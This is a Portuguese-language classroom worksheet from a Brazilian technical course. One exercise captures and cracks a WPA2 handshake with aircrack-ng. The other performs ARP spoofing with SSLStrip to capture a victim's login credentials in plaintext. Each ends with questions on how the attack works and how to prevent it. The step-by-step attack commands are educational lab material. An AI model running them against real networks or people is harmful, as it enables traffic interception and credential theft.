Instituto Federal de Educação, Ciência e Tecnologia da Bahia
Campus Jequié
Curso Técnico de Informática
Profº. Ramon Fontes

Atividade sobre Segurança 01

(descobrindo chave WPA2)

Para responder a questão abaixo, vamos inicialmente criar uma interface do tipo monitor chamada **mon0**. Após isso, utilize o airodump-ng para capturar beacons na interface criada:

$ *sudo airodump-ng mon0*

#Se o airodump-ng não estiver instalado, instale-o com ***sudo apt-get install aircrack-ng.***

Identifique o endereço MAC do seu celular na coluna station. Dica: Identifique o BSSID do AP ao qual seu celular está conectado. O SSID pode servir de apoio.

Em seguida, desabilite a conexão wifi do seu celular e desabilite também o airodump-ng. No mesmo terminal, rode novamente o airodump-ng com os parâmetros abaixo:

airodump-ng --bssid $MAC-DO-AP$ mon0 -w meu-arquivo-de-captura

Então, conecte seu celular novamente ao AP que estava anteriormente conectado e certifique que o MAC apareceu durante a execução do airodump-ng. Uma vez que seu MAC foi capturado, pare o airodump-ng.

Agora, crie um arquivo chamado **meuarquivodesenha.psk** contendo o seguinte conteúdo:
12345678
87654321
abcdefgh
SENHA-DO-AP

Em SENHA-DO-AP, coloque a senha que você utiliza para conectar ao AP. Então, rode o comando abaixo:

aircrack-ng -w meuarquivodesenha.psk -b $MAC-DO-AP$ meu-arquivo-de-captura.cap

Questão 1.1. Faça uma resumo de tudo o que você entendeu até aqui e o que os comandos executados de permitiram fazer.

Questão 1.2. Abra o arquivo meu-arquivo-de-captura.cap no wireshark e filtre as mensagens pelo EAPOL. Considerando que você está considerando o source/destination, seu celular e o AP que conectou, descreva as mensagens obtidas e faça uma relação com o protocolo WPA2. Dica: pesquise sobre 4-way handshake.

Questão 1.3. No decorrer dos passos executados anteriormente, você teve que desconectar seu celular da rede e conectá-lo novamente. Porém, é possível forçar a desconexão do celular. Como você faria para forçar a desconexão? Pesquise.

Questão 1.4. Qual tipo de solução pode ser adotada para evitar o ataque executado anteriormente?

Instituto Federal de Educação, Ciência e Tecnologia da Bahia
Campus Jequié
Curso Técnico de Informática
Profº. Ramon Fontes

Atividade sobre Segurança 02

(ARP Spoofing + SSLSTRIP)

Primeiramente ative o encaminhamento com:

echo "1" > /proc/sys/net/ipv4/ip_forward

Após isso, habilite o redirecionamento na porta 80 para 8080:

iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-port 8080

Em seguida, execute o SSLStrip para que pacotes comecem a ser capturados:

sslstrip -a -l 8080

Finalmente, execute o arpspoof. Substitua “x” pelo endereço ip da vítima e “y” pelo endereço de gateway da rede.

arpspoof -i eth0 -t x y

A partir de agora, a vítima deverá reconhecer você como o gateway dela e todo tráfego originado pela vítima passará antes por você antes de chegar ao destino final. Um arquivo chamado *sslstrip.log* foi criado e ele estará sendo alimentado à medida que dados trafeguem na rede. Se a vítima tiver acessado algum site e inserido email/senha, estes dados serão capturados em texto puro e você poderá identificá-los no arquivo *sslstrip.log.* Você poderá acessar o *sslstrip.log* através de qualquer editor de texto.

Questão 2.1. Descreva o ataque realizado nesta atividade.

Questão 2.2. Quais tipos de soluções podem evitar esse tipo de ataque?